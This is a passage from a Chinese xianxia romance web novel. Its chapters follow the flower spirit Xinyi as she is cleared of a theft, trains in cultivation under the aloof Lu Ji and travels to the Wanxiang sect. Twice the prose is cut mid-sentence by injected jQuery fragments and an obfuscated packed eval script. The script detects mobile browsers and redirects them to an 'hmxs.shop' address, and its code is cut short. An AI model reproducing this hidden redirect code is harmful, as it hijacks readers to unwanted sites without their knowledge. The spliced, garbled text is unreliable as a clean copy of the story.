$(''.inform'').remove(); $(''#content'').append('' ……弟子遵命。” “至于这画皮妖,偷盗琴谱,献与妖族,罪不可恕!丹阳,由你来处置。” “是。” 这丹阳真人便是戒律堂的堂主,也是十二峰主之一。 事情既已水落石出,辛夷身上的冤屈也洗刷一清。 此刻,众人在看向伤痕累累的两个小妖,心中都不免惭愧。 清虚子却沉着一张脸,对辛夷道:“君子防未然,不处嫌疑间,瓜田不纳履,李下不正冠。此事虽不是你所为,但也和你不懂规矩有关。日后当时刻谨记,谨言慎行,安分守己,你可明白?” “你这话好没道理!” 丁香起了火,正想大骂,辛夷却上前一步,平静地接受:“多谢掌门教诲。” 见这小妖还算识趣,清虚子脸色稍霁,正欲命众人退下时,这小妖忽然又开口—— “掌门前辈,辛夷还有一事相求。” “何事?” “对您而言,只是一桩再小不过的小事。”辛夷语气认真,“掌门说得对,这件事情归根结底是因为我去探望那棵刺槐精,由此开始,也当由此结束。人间讲叶落归根,我们花草树木也有灵性,死了之后也希望能回归大地,能否请您开恩,容我将刺槐精的遗体带回浮玉山安葬?一来,是善事一桩,二来,一具死尸日日摆放在您的山门前也不吉利。” 这小花妖刚受了冤枉,此刻当众提出要求,清虚子不好不应。 何况他那个大弟子的禀性他最是清楚不过,那刺槐精有无冤屈,一查便知。若不答应,只怕她要旧事重提,纠缠不休。 倒是有几分小聪明。 清虚子尽管不悦,还是应允:“好,这树妖之事便依你所言。” “谢过掌门!”辛夷两日以来第一回露出真心的笑。 —— 从玉衡殿出来后,丁香忍不住低声埋怨:“这老道真不讲理!明明是他们有错,真相大白了还要教训我们……不过辛夷,你真聪明!知道他爱面子,就当众讨要刺槐精的尸身,他不想答应也得答应,你是没瞧见,他走时脸都青了!” 说到这儿,她又乐了起来。 辛夷也抿了抿唇笑起来:“虽然吃了不少苦头,幸好刺槐精的事解决了,能将他带回去,老槐树精应该会欣慰一点吧……” “哟,原来是为了别人。”瑶光君不知从哪儿冒出来,一脸赞叹,“能从我师尊手里讨到人,你这小妖胆子可不小!” 辛夷见到他分外高兴:“瑶光君,今日之事要多谢你!” “何必客气,我不过给了几瓶丹药罢了。”瑶光君摆摆手,朝前方那道挺拔背影努了努嘴,“真要谢,还得谢我那位师弟。” 辛夷自然知道,望向陆寂,犹豫一瞬,还是郑重上前拜谢:“多谢仙君擒获画皮妖,为我们洗清冤屈。大恩大德,辛夷来日定当报答。” 陆寂淡淡垂眸,声音里听不出情绪:“不必。本君并非为救你,只是恰巧撞见真凶,见不得有人蠢到被人玩弄于股掌罢了。” “……哦。” 辛夷默默低下头,顿觉自作多情。 原来他并非有意相助,只是碰巧。 但论迹不论心,她仍是认认真真道:“不管是何缘由,我还是要谢过仙君,这份恩情也必须要还。” “随你。”陆寂转身欲走。 语气虽还是冷的,但比起前些日子已好了太多,辛夷大着胆子追问:“仙君等等,如果……如果您没有遇到那只画皮妖,您会怀疑我吗?” 陆寂并未直接回答,反而问了一个无关的问题:“已经过去四日了,你的引气入体学得如何了?” 辛夷顿时心虚不已,声音也低下去:“……大概,算是会了……吧。” 头顶传来一声极轻的冷笑。 “以你的资质,恐怕连翠微峰的台阶都未必爬得上去。” 辛夷脸颊烫得厉害,羞惭难当:“是我愚钝,辜负了仙君厚望……” 可转念间,她好似又明白了陆寂的言外之意,他是在说根本不相信她能做到偷盗吧? 虽难听了点,但是不是也说明他从始至终都没怀疑过她? 辛夷弯了弯唇角,心底忽然又生出一点欢喜。 10.槛花笼鹤(一) 戒律堂是出了名的不近人情。 即便青阳君与堂主丹阳真人同列十二峰主,真人也未有一丝手软。 三百道雷鞭落下,青阳君最后是被座下弟子抬回去的。 伤势之重,只怕一两月内难以恢复。 纵然如此,他仍强撑病体亲手写了赔罪信,派人送往天音宗越清音处。 当那封染血的信笺送到时,连越清音的小师妹都不禁动容。 “师姐,青阳君虽不及云山君天纵英才,却也是掌门亲传,一峰之主,待您更是情深义重……其实,未尝不是良配。” 越清音只扫了一眼信,便随手置于案上。 “师父重伤未醒,我岂有闲心论及私情?” “……是。”师妹连忙噤声。 “退下吧,我想静一静。” 师妹不敢多言,起身告退。 只是离去时,目光无意间掠过房中那把青阳君所赠的焦尾琴,她脑中忽然闪过一个古怪的念头—— 那日,师姐收下此琴后,便命她回礼。 可师姐一向最是谨慎,既有闲情验看赠琴,又怎会无暇检查忘忧琴谱是否安然无恙? 若早已发现琴谱失窃,那小花妖当时正在翠微峰山下,便完全没有作案机会,也就不必被扣上偷盗的罪名了…… 难道,师姐是因为小花妖嫁给了云山君,心生嫉恨,故意陷害她,又利用青阳君对她的爱慕将此事闹大? 这念头让她后背发寒。 可旋即,她又暗自摇头。 不会的,师姐那般温柔良善,怎会如此? 再说了,前些日子,师姐不还特意去给那小妖送药么? 是误会,一定是误会。 她不敢再想,匆匆离去。 —— 冤情昭雪后,刺槐精的遗体被送到了度厄峰。 辛夷有个法宝叫做乾坤袋,看似香囊大小,却能容纳万物。 这刺槐精便被她小心地暂时安置在乾坤袋中。 尽管他已经死去很久,但是当辛夷把他放好时,仿佛听见了一丝极轻的仿佛槐叶被风摇动般的窸窣声。 像是在道谢。 她愣了一会儿,然后抿唇一笑。 老槐树精说过,这刺槐精生性胆小,最怕生人,死后却被置于人来人往的山门前,这些日子,一定很不安吧。 现在好了,他可以好好睡一场长觉了。 辛夷小心地将乾坤袋收起来,想了想,在外面又套上了一个香囊,这样,刺槐精或许会更觉得安稳些。 安置妥当后,辛夷便全心投入修炼。 毕竟,陆寂那日虽是在说相信她,但她修为很差也是不争的事实。 而且,这仙门也不似传闻中那般太平,这回还算幸运,陆寂找到了真凶,还了她清白。 下次可就不一定了,她也要努力强大起来,能够保护自己和身边的人。 三日后,又到陆寂前来指点之时,远远望见人影,辛夷便迎了上去。 “仙君,引气入体我已全部掌握了,你看!” 她当即凝神演示,步骤分明,气息扎实。 陆寂扫了一眼,刚想皱眉,掠过她脖子上依稀可见的青色淤痕时,终究只是淡淡说了一句:“尚可。” “是吗?”辛夷很是欢喜,“如此,也不算辜负仙君了。” “于你而言,结丹之路尚远。” “我明白。”辛夷重重点头,跟着他进了书房去。 引气入体之后,下一步便是筑基。 “修仙之始曰筑基。筑者,渐渐积累,基者,修练阳神之本根。” “筑基分五步,凝神入气,取坎填离,而后火起焚身,水府求玄,最终达到内视存神之境。” 自上次耗费整夜才让她领会引气入体后,陆寂此番教得循序渐进。 毕竟已经提升为单灵根,入门之后,辛夷也渐入佳境。 甚至,在发觉她认识一些难字,陆寂还会略微抬起眼皮:“你竟连这个字都认识?” “唔,是从前当一株花的时候学的。” 陆寂对她为妖时的经历并无兴趣,但这小花妖天生话多,未等他打断,便滔滔不绝讲了起来。 “在化形之前,作为一株野生的辛夷花我也活了一百年。” “一开始,我很寂寞,因为身边的那些花好像都是哑巴,我跟他们说话他们从不理我。后来,一个蝴蝶妖停在我身上休息,我才从她口中得知我这叫孕育出灵识了,俗话说就是‘成精’了,而周围其他花草都是凡品,压根听不懂我说的话,当然也不会跟我聊天。” “我那时很是震惊,尚不明白‘妖’究竟是什么。蝴蝶妖喜欢到处飞,与我这般连腿都没有的小妖相处两日便觉无趣,扇扇翅膀飞走了。之后,我又变得很寂寞,直到遇见了一个人——” “用你们人的话来说,那是个书生,病恹恹的,却很有学问。见我的第一眼他便说‘世所罕见,如玉如琼’。虽然我当时听不懂,但知道他在夸我,心里很是欢喜。” “后来,这个书生在我旁边的一座废弃茅屋住下,靠教一些学生过活。每日教授四书五经,偶尔也吟诗作对,我这个时候尚且听不懂他在说什么,但每日耳濡目染,竟渐渐识了字。” “过了大约三年,这个教书先生突然消失了,有人说他病死了,有人说他进京赶考了。而他死后,他生前为我作的一首诗突然流传开,慢慢地,有越来越多的人走很远的路过来看我。” “我很高兴,因为从没有那多人跟我说话过。” “但和书生不同,他们都喜欢薅我的花,没多久我就快被薅秃了,更可怕的是,听说人间的皇帝也知道了我,命人把我挖走,栽在他的皇宫。” “那时我才明白,人也不尽是好的,比如他们薅我的花时我就很疼,要是被连连根拔起,恐怕连小命也保不住。正好那时我发现自己长出了脚,就连夜扛着自己的花枝逃跑了,一路跑呀跑呀,跑到了一座很荒凉的山上,在那里扎下了根。” “这山就是浮玉山,山上有很多害怕人类逃来避难的花妖树妖,我渐渐和他们成了好朋友,还认识了老槐树精,过得逍遥快活,直到遇见了你,不,应该说那个人。” 她声音渐渐低下去:“那时,我在浮玉山待了太久,又想念热闹了,于是就跟那个人一起下山。一开始,的确过了段快活的日子,但后来到了无量宗后,才知晓世间竟有比连根拔起更可怕的事……” 辛夷说到此处,手不自觉地抚上心口,如今这里空空荡荡,已没有妖丹了。 屋子里静得出奇,陆寂一言不发,再一回神,辛夷才发觉这是在修炼,于是赶紧坐直身体跟陆寂道歉。 “抱歉,是我话太多了。” 陆寂今日却罕见地没对她冷言冷语,声音淡淡的:“我只是问你为什么会认识这个字。” “是听那个书生说的。他很喜欢看书,还经常在窗下画我,我那个时候虽然没长出腿,但是花枝可以伸得很长,常常偷偷探出一根小花枝从窗户缝里偷看他写字画画,慢慢地就认识了。” “是么?” 陆寂脑海中蓦地闪过一幅鲜活的画面——病弱的书生,破旧的窗棂,以及从窗户缝隙间悄然探入的一根刚发芽的花枝。 他微微凝眉,看向辛夷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968503|193112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛夷看了又看:“怎么了?我认错了?不会呀,那书生极爱写这个字。” “没错。”陆寂移开眼神,片刻后才开口,“继续。” 这一晚又修炼到天明。 辛夷总算领会了筑基第一层,再勤修几日,便可稳固。 如此算来,或许一两个月内便能结丹,能回浮玉山了? 她掰着指头算,一不小心笑出了声。 彼时,陆寂正出了大殿,听到笑声回头看了她一眼。 辛夷急忙抓起经书佯装温习。 陆寂望着她手中倒持的书卷,却并未戳穿。 —— 结丹乃修炼第三境,并不算难。 真正的难关,在大乘。 只有到了大乘期,才可称为上仙。 当今世上的大乘期修士除了陆寂,便只有五大宗门中的玄机阁老阁主。 但老阁主沉疴难治,闭关多年,恐不久于世,陆寂才被视作仙道第一人。 而这上仙也不是那么好当的,想要登顶大乘期,必须要经历七七四十九道雷劫。 受得住,便是脱胎换骨。 受不住,轻则打回原形,重则神魂俱散。 陆寂也不是一次便成功的,在叩响扶桑神木上的金钟之前,他曾失败过一回,在第四十八道雷劫时被重重打下云端。 幸好他修为深厚,性命无碍,但有一缕神魂没能回来,落到了人间。 那缕神魂在人间漂泊三载,直至他在无量山本体复原,施以招魂引幡之术,方将其召回。 至于这三年来的事情,神魂融合之后,便混沌一片,仿佛罩着一层厚厚的云雾。 可以说,这三年他近乎没有记忆。 只记得这招魂引幡之术当年是师尊与十一峰主合力施法。 陆寂于是前往了灵宝峰瑶光君处一问。 “怎么突然想起这桩陈年旧事?”身为当年参与施术之一的瑶光君回忆道,“难道,是那缕神魂不稳了?不应该啊,你已经登顶大乘,重塑筋骨,神魂比之前强劲了不知多少倍。” “并非。只是忽然记起,随口一问。” “哦——其实没什么好说的。”瑶光君拖长语调,笑意里带了几分调侃,“你这个人无劲得很,神魂也一样。神魂归位的时候我瞧见了一些碎片,似乎是化作凡人流落到了一个荒山。整整三年,身边出现的人最多的一刻也不超过十个,然后……然后就没了,被招魂幡召回来的时候化作了一缕轻烟融入了你的身体。” “荒山?何处的荒山?” “山都长得差不多,我怎知是哪里?只记得花草繁盛,人迹罕至。”瑶光君晃了晃扇子,“当时你出了这个意外可把师父急坏了,生怕你就此陨落,又怕你在红尘滋生心魔,道心不坚。” “我却不同,倒是希望你能在红尘里滚一滚,毕竟你素日背负得实在太多。神魂离体,忘掉一切的机会只有那么一次,无牵无挂地爱一场,哪怕恨一场,也不虚此生。” 陆寂沉默良久,却只淡淡道:“不是只有爱恨才叫人生,有些人并不需要这些。” “‘不需要’与‘不能要’是两回事。你当真清楚自已是哪一种?” 瑶光君神色难得认真。 只有在这种时候,他才有点师兄的样子。 “不知,也不想知。”陆寂语气平静,“时辰不早了,告辞。” “哎——” 瑶光君试图叫住陆寂,可只一瞬,他便化作一道虚影,消失在了无边的夜色中。 望着那道残影,瑶光君晃着手中的羽扇却轻轻笑了。 倘若真的不想知道,今日便不会来问了。 11.槛花笼鹤(二) 合虚期之后,修士便不必入睡。 又或者说,每日的入定便是休憩。 这日入定时,陆寂罕见地做了一个梦。 梦里他竟躺在榻上沉睡,是许久未有过的体验。 午后的日头正烈,缕缕金光透过窗棂投进来,格外刺目。 将要醒来时,窗边忽然攀起一根花枝,然后是两根,三根……渐渐交织成一把细密的伞,仿佛少女举起手臂替他遮阳。 微蹙的眉头又渐渐舒展,呼吸也徐徐平缓。 花影摇曳,有一枝大着胆子悄悄探近,歪头张望,几乎要碰到他的睫毛时—— 陆寂忽然睁眼,一瞬间,无数根花枝消弭于无形。 再定睛,耳畔风声簌簌,窗外的一盆绿菩提投下稀疏的花影,斜斜照在一尘不染的床榻上。 守门的仙使都匀听见动静,急忙进来察看。 “仙君,出何事了?” 陆寂只淡淡吩咐:“把窗边那盆绿菩提移走。” 说罢便起身离开了寝殿。 都匀一愣。 这绿菩提摆在窗边少说也有八九年了,往日从未见君上在意,怎的今日忽然便碍了他的眼? 他心里嘀咕,却不敢多问,只默默照办。 —— 自上次受了三百雷鞭,青阳君便一直闭关养伤,直至今日清虚子在玉衡殿召集弟子议事,他才现身。 “……浅水喧哗,深潭无波。这些道理,为师从小教导你,你可还记得?” “弟子明白,日后定潜心修行,再不鲁莽行事。” 陆寂与瑶光君踏入殿内时,正听见最后两句。 见有人来,清虚子便收住话,转而道:“你们来得正好。万相宗那边出了些动静,需派人前往。” “万相宗?”瑶光君揣度道,“莫非,是因为圣器?” “不错。”清虚子眉头紧蹙,“冲虚那老道实在固执!今年恰逢万相宗立派万年大庆,须弥鼎乃镇派之宝,我已经多次劝阻,他却非要在庆典上请出。” “师尊是担心,妖族会趁庆典之机抢夺须弥鼎?” “正是。”清虚子颔首,“如今忘忧琴与琴谱已落入妖族之手,其余圣器他们势必不会放过。归藏剑在我们无量宗,暂且无虞;回春谷与玄机阁远离尘俗,轻易不得入。唯有这万相宗如此招摇,妖族绝不会错过这等机会。此次庆典,本宗也需派人前往,恰逢我闭关在即,便想让你们代为出席,暗中护住须弥鼎。” “师尊所言有理。”青阳君率先开口,“此次庆典,不如由弟子前往?” 清虚子看他一眼:“你伤势未愈,不宜奔波。还是让寂儿去吧。” 青阳君仿佛挨了一记无声的耳光。他才是掌门首徒,但这样重要的庆典师尊却指派了陆寂,即便陆寂如今只剩一半的修为。 看来,师尊当真是没有一点要将无量宗交到他手中的意思了。 他微微垂下头,袖中的拳悄然攥紧:“是。” 万相宗的大典定于七月初七。贺礼倒是不必担心,瑶光君掌管灵宝阁,这样重要的场合早已提前数年备好,是一件东陵精铁。 他解释道:“这五大宗门中,咱们无量宗以剑修闻名,回春谷以医术闻名,天音宗以音律入道,玄机阁以卜筮存世,至于这万相宗,则以炼器立派。这块东陵精铁世所罕见,最适合炼剑,赠予万相宗最好,既能彰显重视,又合我无量宗心意。” 清虚子目露赞许之色:“你一向思虑周全。好,便按你说的做。” 此事便就此敲定。 但出了殿后,瑶光君突然又想起一事,看向陆寂:“对了,此去少则十余日,多则数月。听闻那小花妖正在筑基的紧要关头,你不在,会否耽误她修炼?” 陆寂微微凝眉:“她资质愚钝,须弥鼎有助于筑基。” “这么说,你是要带这小花妖一起去?”瑶光君恍然大悟,“也好,这冲虚真人曾欠你救命之恩,帮忙筑基而已,他必定会欣然允诺。再说了,听说这小花妖从前过得十分寂寞,除了浮玉山,便只来过无量宗,也该见见九州的风光。” “这是她同你说的?” “她没同你说?” “我并不关心。” 陆寂一副公事公办的模样,说罢便径直离去。 —— 仙居殿 当听到都匀小仙使传话让辛夷收拾行装,一起去万相宗时,丁香乐得几乎要跳起来。 “太好了!这无量宗又高又冷,山上的花都没几朵,听说万相宗在九州中的兖州,自古繁华,人烟繁盛,这回定能好好玩一玩了!” 都匀摸摸鼻子:“丁香姑娘,君上只让君后收拾,并未提及您……” “什么?他要将我和辛夷分开?不行不行,他肯定会趁我不在欺负辛夷的!” “可……这万相宗大典是仙门盛筵,带一个妖出席恐怕不好,君上也是为了大局考虑。” “妖怎么了?你们还不是把刺槐精的尸体放在翠微峰山门口当摆件?那时候不觉得嫌弃了?” “这、这并非一回事……” 都匀哪里说得过丁香。 正争执不下时,幸好辛夷从里间出来了。 “好了,丁香,都匀也做不了主,要不,我再去求求云山君。”她拉住丁香的手,“放心,你翻山越岭来看我,我绝不会抛下你一人的。” 丁香忍不住嘟囔:“可那个冰块脸又冷又硬,哪会答应……” “总得试一试。无论去哪,我都和你一起。” 话虽如此,待那股热血劲儿过去,辛夷却犯了愁。 该怎么向陆寂开口呢? 她默默想了一整夜,才鼓起勇气请都匀带她上寒山居。 听闻辛夷求见,陆寂眼也未抬:“何事?” “君后说是为万相宗之行……” 陆寂想也不想便径直回绝:“告诉她,只她一人可去。” “是。”都匀原封不动地转达。 辛夷不免沮丧。 竟连面都不愿见么?亏她还整整想了一夜的说辞。 不行。 她绕开都匀,跑去叩门:“云山君,丁香是我的好友,专门来看我的,我不能丢下她一个人。大典那么多人,平时便没人注意我们这些小妖的,请带她一起去吧。” 陆寂仍不为所动:“我说了不行。” “那……”门外沉默良久,传来一道赌气的声音,“那我也不去了!” 短短数日,这小花妖胆子倒是肥了。 他起身,冷冷地开门:“你是在威胁我?” 辛夷并不傻,微微抬起下巴:“听闻万相宗有个宝物叫做须弥鼎,不仅能够炼器,还可助人筑基。您带我同行就是为此吧?带一个妖与带两个妖并无分别,为何不能通融呢?” “你如今没有妖丹,已经不是妖。” “既然不是妖,那你们为什么还对我有偏见?无量宗的人还是觉得我是异族?” 面对这反问,陆寂一时竟沉默。 也对,有没有妖丹其实并不重要,也并不会改变旁人的想法。 “这话谁教你的?瑶光君?” “不是。”辛夷语气认真,“难道小妖便毫无见识么?我从前随一位书生读书习字多年,也明白很多道理呢!” 不知哪句话触动了他,静默片刻,陆寂竟然松了口。 “只此一次,下不为例。” 辛夷几乎以为自己听错,片刻才回过神来,笑眯眯作了个揖:“云山君放心,我们一定会恪守本分,绝不添乱!” 说罢她便欢欢喜喜地跑下山去,鹅黄的裙裾飞扬,掠起一缕清淡香气。 —— 得知能一同出行,丁香又惊又喜。 那云山君瞧着冷若冰霜,倒还有一丝人情味,比他那个师父强上那么一点点。 此行人数不多,除陆寂外,仅有十余名内门弟子随行。 托了宴会的福,辛夷头一回御剑出行,乘的便是五大圣器之一——归藏剑。 无量宗以剑修立派,门中剑冢网罗天下名剑,世间珍品,无所不包。 万年来,宗内曾出过三位化神飞升之人。 登临天外天后,他们的佩剑便埋于剑冢,就此长眠。 历来修为至炼虚期的弟子都有前往剑冢挑选命剑的机会。 当初,青阳君便拔出了一位飞升前辈所留之剑,一时风光无两,被视作下任掌门的不二人选。 谁料后来陆寂横空出世,仅十数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973494|193112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年便修炼至合虚之境,更在剑冢重启那日拔出了尘封数百年的镇山之宝——归藏剑。 一战成名,归藏剑也成了陆寂的本命法器,人剑合一,名动九州。 辛夷从前只听闻过归藏剑的大名,这还是头一回细看,只见剑身雕镂着繁复的饕餮花纹,剑锋则寒光流转,锋利无比,纵然她不通剑道,也能看出不同凡响。 两人欣赏了一番归藏剑,看着山河大地飞速后退,长河如带,云海翻涌,那些小心翼翼全然抛之脑后,化作了按捺不住的雀跃。 “看,那片湖好大,望不到边!” “傻瓜,那是海!” “啊?原来这就是海啊,难怪看不到头……” “海有什么好看的,你看那座山,像不像一只鹰?” “真的诶!那个,像一个猴子!” …… 两个人叽叽喳喳,仿佛不是花妖,而且麻雀成了精。 陆寂淡淡往后一瞥。 辛夷立马识趣地收声,与丁香改用手势比划。 如此一来,更为古怪。 陆寂从未见过这般聒噪之人,更不明白这些寻常的山水有何值得欢喜的,遂远远避开,走到了最前方。 这时,越清音御笛靠近,声音柔婉:“此番万相宗庆典,家师命我前来,不想竟与云山君同路。此前因我疏忽,令君后蒙冤,清音特来致歉,还望仙君海涵。” “你无需向我道歉。”陆寂听着耳边轻柔的嗓音,不知为何,又觉得还不如方才的聒噪来得舒适。 越清音仍是坚持:“虽是无心,但确实让君后受苦了,不论如何,还是应当说一声的。这枚香囊是我亲手所制,可驱邪安神,聊表歉意……” “你误会了。”陆寂余光掠过身后,“我是说,你不该向我道歉,你要道歉的人,在后面。” 越清音手中的香囊蓦然攥紧,片刻,才挤出一个笑来:“仙君说的是,我本是要去的。” 陆寂淡淡嗯了一声,越清音便拜别,朝后面的辛夷走去。 她言辞恳切,姿态温柔,还赠予辛夷与丁香各一枚香囊。 这些日子,辛夷在仙门受了许多冷眼,除了瑶光君外,这还是第一次碰上对她说话这般轻声细语的人,不由得受宠若惊:“道歉便不必了,仙子又不知情。何况,最后真相大白,我也没什么损失。” “话虽如此,毕竟是我失察,日后若有需要帮忙之处,君后尽管开口。” “别叫我君后了,反正你也是知情人,叫我辛夷便好,这是丁香,我的朋友……” 辛夷热络介绍起来,越清音含笑应和,片刻才告辞离去。 望着那白衣飘飘的端庄背影,辛夷忍不住艳羡:“倘若我也能像这位仙子这般从容大方,或许初来时便不会惹掌门前辈厌弃了。” 丁香却撇撇嘴:“她好是好,可……我也不知道为什么,还是觉得你更好。没有人能让所有人喜欢,能做到的,多是虚情假意。” 辛夷是个知足的小妖,挽住丁香的手臂:“也对,有你一个人在我身边就够了。” 归藏剑日行千里,日暮时分,一行人便到了兖州。 冲虚掌门亲自相迎,足见重视。 另外,万相宗还为他们单独辟了一处清幽雅致的院落。 见面之后,冲虚掌门便同陆寂说起仙门的事来,辛夷听不太懂,鉴于上次的教训也不想多听,只是默默跟在后面,无聊地打量着院落。 这一数不要紧,她忽然发觉似乎少了一间房—— 无量宗此行分明来了十四人,可院中厢房只有十三间。 又仔细数了一遍,确实如此。 这安排似乎……不太妥当? 辛夷心中犹豫,悄悄告诉丁香。 丁香思索片刻,忽然坏笑起来:“没错啊,是不是你忘了什么?” “我?”辛夷黑白分明的眼透着一丝茫然,“可我数了两遍,确实少一间……” 丁香压低嗓音,忍笑道:“你忘了么,你可是嫁了人的!道侣自然是要同住一室的,尤其你们这般新婚燕尔,蜜里调油的,那掌门如此安排才是体贴周到呢!” 辛夷仿佛被雷劈了一般,僵在原地。 “什么?我要和云山君睡一间房?!” 12.槛花笼鹤(三) 辛夷早该想到的,她和陆寂是名义上的夫妻,旁人自然要把他们安排在一起。 可实际上,他们不过是陌生人罢了。 于是,等冲虚掌门离开后,她便找到了陆寂,委婉地提起此事。 “我知道在外需做做样子,不好让冲虚掌门察觉。不如,这几日我去同丁香挤一挤?” “不行。”陆寂拒绝,“此处的侍婢都是万相宗的人。” 辛夷忘了这一茬了,顿时有些苦恼:“那怎么办?男女毕竟有别,授受不亲……” “你在怕?”陆寂抬眼看向她。 “也不是怕,云山君的为人我自是信得过。只是孤男寡女,总归有些不自在。” 她憋了半天才想出一句说辞。 孰料却听到一声冷笑。 “你在想什么?须弥鼎虽能助人筑基,但也要有些根基,这几晚正好用来教你。” 辛夷猛然抬头,原来陆寂说的住一起是夜夜教她修炼。 这下可尴尬了。 她连连道歉,脸颊红得快滴血:“对不住,是我误会了!” 陆寂不无讥讽:“倘若你修炼时也能这般举一反三,也不至于停滞不前。” “仙君教训的是。” 辛夷敢怒不敢言,小声答应下来。 事情太过窘迫,她忍不住捂着脸跑去找丁香控诉。 “我真是糊涂了,居然、居然会想岔……” 丁香摸着下巴,也啧啧称奇:“云山君果真名不虚传。再怎么说你也是个美人,他竟只想着修炼?还是通宵的那种?罢了罢了,不过话说回来,你熬得住吗?” 提到此处,辛夷心里泪流成河。 在无量宗时,陆寂好歹三日才来查一次功课。 如今倒好,夜夜通宵修炼? 该怎么委婉地提醒陆寂,她如今只是个凡人,是需要睡觉的呢? 辛夷十分苦恼。 —— 不等夜色降临,陆寂便丢过来一卷筑基第二层相关的心经。 “自己看,不懂的暂且记下,一并问。” “是。” 辛夷恭恭敬敬捧着那卷经文,端坐于书案前拜读。 至于陆寂,则在外间的软榻上入定修炼。 灵气磅礴,仙泽四溢,辛夷不禁艳羡。 甚至,这还只是他一半修为。 难怪众人都说陆寂会是这三千年来第一个飞升之人。 仿佛看到了目标,辛夷也用功看起经文来。 她不指望飞升,能修炼至炼虚境就好了。 听说到达这个境界后便是人中龙凤了,寻常的仙妖都不是对手。 就这么从傍晚看到天黑,辛夷坐立难安,仿佛凳上生了刺。 陆寂却连衣袂都未动一下。 对了,他这般境界的修士似乎无需进食? 他该不会打算一直这样修炼下去吧? 可她是会饿的。 辛夷摸着瘪瘪的肚子,眼巴巴盼着丁香能记得给她送口饭来。 没等来丁香,万相宗的侍婢却来叩门——原来冲虚掌门设了接风宴。 这种应酬自然是推辞不掉的。 陆寂起了身,辛夷也高兴地跟过去填饱肚子。 万相宗地处兖州,九州最繁华之地。 门徒众多,宗派恢弘,整个风花城皆为其辖地。 庆典于后日举行,今日,各方祝贺的人已经来得差不多了。 辛夷这还是头一回作为陆寂的道侣随他一起公开出席,难免有些紧张。 踏入大殿那刻,诸多目光齐刷刷投来,她步子都险些错乱。 天下修士无人不晓云山君之名,听闻他执意娶了一妖女,也都好奇不已。 只见那女子明眸善睐,身着鹅黄衣裙,容貌虽美,二人却总隔着半步, 便有人心下嘀咕,或许传闻言过其实了,云山君待这位道侣,并没有多么深情。 众人目光各异,辛夷这些日子也学会察言观色,看出了那些眼底的审视,乃至恶意。 不过这一切原本也只是误会而已。 没有期待,自然也就没有失落。 她安静地坐在一旁,小口用膳,细细品茶。 万相宗不愧是红尘中的大宗,珍馐美馔如流水一般接连不断,丝竹管弦也如同天籁不绝于耳。 在座宾客不是出身五大宗门,便是修仙世家,来历无一不凡。 其中一位尤为惹眼,长身玉立,文质彬彬,是冲虚掌门爱徒——朔光君。 虽不及陆寂天赋异禀,但这位朔光君也是难得一见的奇才,尤其擅长炼器。 此次冲虚掌门派他主持洗尘宴,其中深意不言自明。 众人谈笑间议论仙门大事,不时还会奉承一番身为剑道魁首的陆寂。 陆寂清冷却不疏离,矜贵却不倨傲,应对从容。 辛夷望着身旁之人,竟觉出几分陌生。 原来他分明是懂得周旋的。 若是愿意,甚至能让每个人都如沐春风。 可他从未这般同她说过话。 说到底,是她不配罢。 她不过是个误闯仙门的小妖。 他自然无需对她多费心思。 佳肴一道道端上来,辛夷原本是饿的,此刻却品不出什么滋味。 宴席过半,陆续有人离场,她也学了个不胜酒力的借口先行回去。 月朗星稀,清风徐徐,没有人的时候,今夜还是十分心旷神怡的。 和无量宗不同,万相宗富丽堂皇,甚至花园里的小径都是用铜钱铺成的。 辛夷觉得稀奇,便顺着这铜钱路走到了一个花苑。 此处栽着各式各样的花,有些甚至连身为花妖的她也没见过。 她同她们说话,可这些不过是凡花,根本不懂她的话语。 正喃喃自语时,一个人忽然从身后冒了出来:“这位仙子,良辰美景,花前月下,你为何看起来似乎不高兴呢?” “你是谁?”辛夷吓了一跳,险些跌入花丛。 那人及时扶住她手臂:“我么?是这天下顶顶风流的人物。你又是哪家的仙子?真真是个美人!” 月色如银,照得庭中如积水空明,也照亮了这人的面容。 虽是男子,却涂脂抹粉,脸颊雪白,嘴唇鲜红。 一身风骚的桃花粉道袍更是刺人眼疼。 比女子还娇艳三分。 辛夷从未见过这般古怪的男子,挣开他虚扶的手,含糊其辞:“我只是一个平平无奇的弟子,连外门都不算。” “外门?难怪如此佳人我从前竟从未见过!”那男子眼神如钩,“不过相逢即是有缘,今夜月色甚好,仙子可愿与我回去赏月,共度良宵?” 辛夷想起那厚厚的一卷经书,默默退了一步:“不了,我还有课业在身,要回去筑基。” 男子却不依不饶:“原来尚未筑基?那更巧了。我乃合欢宗嫡传弟子月无伤。只要你愿意,今夜过后,保你步入筑基之境。” 辛夷疑惑:“合欢宗?那是什么宗门?比无量宗还厉害么?” 月无伤许久未遇到过这般单纯的小仙,不由大笑:“我们合欢宗自然不能跟天下第一大宗比,不过,我们宗派的人随性洒脱,恣意而为,不像无量宗都是一帮伪君子!你若愿意,我可引你入门,假以时日你必能大放异彩,甚至超越我!” 辛夷只听得半懂,但他对无量宗的评价倒有几分道理,想来并非恶人。 等把内丹归还给陆寂后,她总要离开无量宗的。 或许也该另寻个宗门学些本事? 于是她点头道:“合欢宗当真这般好?那……等我处理完手中事宜,再去寻你?” “哎,何须这般麻烦。”月无伤笑吟吟靠近,“我合欢宗不拘虚礼。你随我走,今夜便可拜师入门。” 辛夷纠结:“这不好吧?今晚还有人要教我呢……” 